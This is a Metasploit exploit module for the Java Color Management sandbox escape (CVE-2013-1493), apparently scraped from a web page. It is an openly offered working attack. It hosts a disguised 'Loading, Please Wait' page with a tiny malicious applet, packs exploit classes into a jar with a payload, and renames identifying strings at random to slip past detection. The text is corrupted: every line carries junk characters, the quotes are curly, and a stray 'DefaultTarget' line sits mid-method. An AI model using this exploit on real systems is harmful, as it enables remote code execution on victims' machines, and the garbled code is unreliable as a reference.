##+ C9 O; Q% y3 F1 d c" X
6 w9 t5 `: u t- _7 B# This file is part of the Metasploit Framework and may be subject to
( [7 h w- Y/ J4 @7 w7 r3 M( k# redistribution and commercial restrictions. Please see the Metasploit* |; I6 U6 X# E! r
# web site for more information on licensing and terms of use. L$ C, R/ I# ^% Z. G( o
# http://metasploit.com/
; D9 W* ?& F! e5 R! a##
3 `! F& T w( N {# O. ~require ‘msf/core’
/ R6 R$ j \7 Vrequire ‘rex’
* v9 ~" g7 d( t7 `+ \ O a, zclass Metasploit3 < Msf::Exploit::Remote
- j" I. U7 h# ?. X- _& CRank = NormalRanking
* o% Y3 L7 {1 f! Y- u9 xinclude Msf::Exploit::Remote::HttpServer::HTML1 ?5 Q. w" o# ~# q& i' Z
include Msf::Exploit::EXE
. J8 g! P" s0 g& x6 a- A, `' Kinclude Msf::Exploit::Remote::BrowserAutopwn) b1 Y' T% m7 q6 z- \* G: F
autopwn_info({ :javascript => false })
% `# E* b0 b6 d6 Rdef initialize( info = {} )' k& o$ ^4 O" l7 l
super( update_info( info,
- s% H2 r P. ~/ b; [% G1 M |‘Name’ => ‘Java CMM Remote Code Execution’,
' V n- G6 s' f$ ^1 u‘Description’ => %q{
4 h6 `3 j& ]: V% o) J1 E$ [8 qThis module abuses the Color Management classes from a Java Applet to run
- T+ f& L. D1 Z: }arbitrary Java code outside of the sandbox as exploited in the wild in February
7 M& x |- R: O- h% Kand March of 2013. The vulnerability affects Java version 7u15 and earlier and 6u41
3 P; R2 v2 t& r+ band earlier and has been tested successfully on Windows XP SP3 and Windows 7 SP18 w- Q+ k# v" s6 y" G
systems. This exploit doesn’t bypass click-to-play, so the user must accept the java
$ v2 L( ~& c7 ~0 {warning in order to run the malicious applet.
8 D. E0 D3 D! W) Z) \- U$ {$ H# }& Y},
9 }" d! ?: {9 r3 K‘License’ => MSF_LICENSE,, [$ K- k( s& E2 a3 J$ g9 P2 A
‘Author’ =>
; Z/ _+ K. v8 O- D'Unknown', # Vulnerability discovery and Exploit" j2 a% `4 t' z4 P( u( c
'juan vazquez' # Metasploit module (just ported the published exploit)7 g I7 n+ L7 |$ y. z! g- X# L* G2 p
],! f1 ]5 O0 a# R/ B `- H
‘References’ =>% y$ t: i; u$ A6 z, T! p' C' U+ Q
[# y1 V4 t7 Z1 a# |
[ 'CVE', '2013-1493' ],
* q7 A0 A* u& H[ 'OSVDB', '90737' ],
# F9 k7 `( d! U1 q7 f* }0 S* _[ 'BID', '58238' ],# X0 G2 F7 Q, M: k# ]$ P e
[ 'URL', 'https://blogs.oracle.com/security/entry/security_alert_cve_2013_1493' ],
$ J1 ~. o4 L; w2 w, Y' k2 g[ 'URL', 'http://www.oracle.com/technetwork/topics/security/alert-cve-2013-1493-1915081.html' ],
. h: M! j- m& o: N3 x x[ 'URL', 'http://pastie.org/pastes/6581034' ]
?: C' S' \$ m) ]$ h# ?: u],+ s( N' I8 [# Q, l
‘Platform’ => [ 'win', 'java' ],2 f& G+ H, b8 k0 v( R# |& U) J
‘Payload’ => { ‘Space’ => 20480, ‘BadChars’ => ”, ‘DisableNops’ => true },/ N) B$ o# ~3 g% K1 ~' w
‘Targets’ =>. i' B- b4 Z; B0 H' @1 ~9 {& ]
[8 U9 j. }; h, l0 k! t9 ^- i' x
[ 'Generic (Java Payload)',6 Y5 G. L$ \* [. n* t3 z7 h
{" [; X! K& E- Y; ~& U; v
'Platform' => 'java',1 i/ k4 d2 l8 b6 [4 F3 V
'Arch' => ARCH_JAVA
( P7 ]; V0 M' D# Q$ G$ N}
) Q" F- p) F3 j) y, n) u+ n2 @],
% |$ Z" a; X* g/ z+ H[ 'Windows x86 (Native Payload)',3 C0 T* e% C$ ?$ L. b& e7 D
{
* s4 e+ e( x2 e0 ~'Platform' => 'win',
1 H7 Y% p/ d3 n'Arch' => ARCH_X86. c3 o/ d7 i& C8 `
}
. R9 b1 I+ _0 ]8 _]
# v6 L8 K- ?3 a% c' z],! m8 w7 E; |$ a3 x% h
‘‘DisclosureDate’ => ‘Mar 01 2013′
& }* z( }4 ]. d7 g2 O))0 v! Y* ]5 w) e6 `' U* h$ p5 ~
end
) A5 j6 f' y) a: d$ u4 mdef setup
% o" E/ j% h% I3 `& s9 { upath = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Init.class”)6 `. [ i) L& N% }" w8 T
@init_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
5 A/ x/ w8 ~+ y$ S: V G7 `; V' opath = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Leak.class”)$ f3 e4 l7 w4 }: G. i$ U8 o
@leak_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }' ^4 ]" g4 b- F; B! y( ^
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyBufferedImage.class”)
; s" T# E( i! W4 L@buffered_image_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }- @0 T* R1 s6 R$ f
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyColorSpace.class”)9 W/ \( U& b3 c6 E$ f' y5 u7 e
@color_space_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
3 K; g0 k" F( d# A8 R@init_class_name = rand_text_alpha(“Init”.length)
* G3 b* ~2 [" ]3 `1 Y@init_class.gsub!(“Init”, @init_class_name)
* U: @: I Z- z' F; A, M9 Msuper3 _2 }& q8 }/ K4 M- f, L' ?
end
( m. U8 a. t0 odef on_request_uri(cli, request), ~9 X2 k8 H: P7 }
print_status(“handling request for #{request.uri}”)4 ]9 W# }7 C# y# x/ `! V( P
case request.uri
( [/ K1 O; R, Rwhen /\.jar$/i0 k) m% P& t" t
jar = payload.encoded_jar
6 \1 z2 i. b4 z( R5 [$ x/ Pjar.add_file(“#{@init_class_name}.class”, @init_class)
- c$ P! ^. k/ J9 f$ s2 kjar.add_file(“Leak.class”, @leak_class)7 h: R$ m) P' V; Z
jar.add_file(“MyBufferedImage.class”, @buffered_image_class)
, J6 ^! _; ]9 {4 v( sjar.add_file(“MyColorSpace.class”, @color_space_class)( z6 d& H/ u/ a+ n& S
DefaultTarget’ => 1,% C# z, Z/ S/ s% O
metasploit_str = rand_text_alpha(“metasploit”.length); C! T8 i& Z5 F9 |0 V3 P9 X
payload_str = rand_text_alpha(“payload”.length)1 B& v+ o& J2 |3 V
jar.entries.each { |entry|
" _7 ]" v8 W5 Nentry.name.gsub!(“metasploit”, metasploit_str)( j( Q/ w4 o: z6 p
entry.name.gsub!(“Payload”, payload_str)
' Q, o9 [8 [2 m0 f, tentry.data = entry.data.gsub(“metasploit”, metasploit_str)! B! f2 l3 ~ }" w- I2 s" P5 e1 y+ L
entry.data = entry.data.gsub(“Payload”, payload_str)3 y9 }( H4 S& D+ e i& x4 ~- i/ y7 k
}
+ |' h! C8 ]/ X# f0 Sjar.build_manifest2 p" K! O2 w/ K% s0 ~. c" B: B, W
send_response(cli, jar, { ‘Content-Type’ => “application/octet-stream” })% W# y; Q7 a5 J. u
when /\/$/- i% B5 R+ l0 V) E0 J& P/ @3 h( Z( K6 Z/ K
payload = regenerate_payload(cli)
3 d9 G1 k: ?4 c3 R5 _/ f# G qif not payload* ~2 C7 e6 O4 p; I1 E+ c8 n
print_error(“Failed to generate the payload.”)( n' K# @. A# O e, p
send_not_found(cli)5 z/ E6 M9 M l" @9 `7 e
return: ? `: i* @! i% o7 |7 @2 ~; y
end9 y4 G1 [1 k+ v: u+ T! X( Y6 G& {7 q
send_response_html(cli, generate_html, { ‘Content-Type’ => ‘text/html’ })
7 ~5 S5 n! b& Q1 ~ ielse
: b4 n9 g, P" I( ~send_redirect(cli, get_resource() + ‘/’, ”)
0 G, e: s' k+ P ~) R+ q; Aend* }( i. D7 ` t0 D; u8 Z
end
' A& H/ ]4 D! o: v& @ ~def generate_html
2 j; S( ]# |& Xhtml = %Q|<html><head><title>Loading, Please Wait…</title></head>|
K2 R( Y7 g) ~% m( @/ bhtml += %Q|<body><center><p>Loading, Please Wait…</p></center>|
& b1 J* |5 P! E! x& b; P3 Z: V! Vhtml += %Q|<applet archive=”#{rand_text_alpha(8)}.jar” code=”#{@init_class_name}.class” width=”1″ height=”1″>|' c( _# V6 B! l4 _" l# ^
html += %Q|</applet></body></html>|0 f e% C6 ^1 o9 y+ I
return html
& d, z+ f) {/ t- Oend
' K3 u0 `, f1 l C$ t+ M/ eend
9 V$ ]# U. @1 l( J% [1 d: g5 C: hend
- w) u, k1 ~# u1 `: W |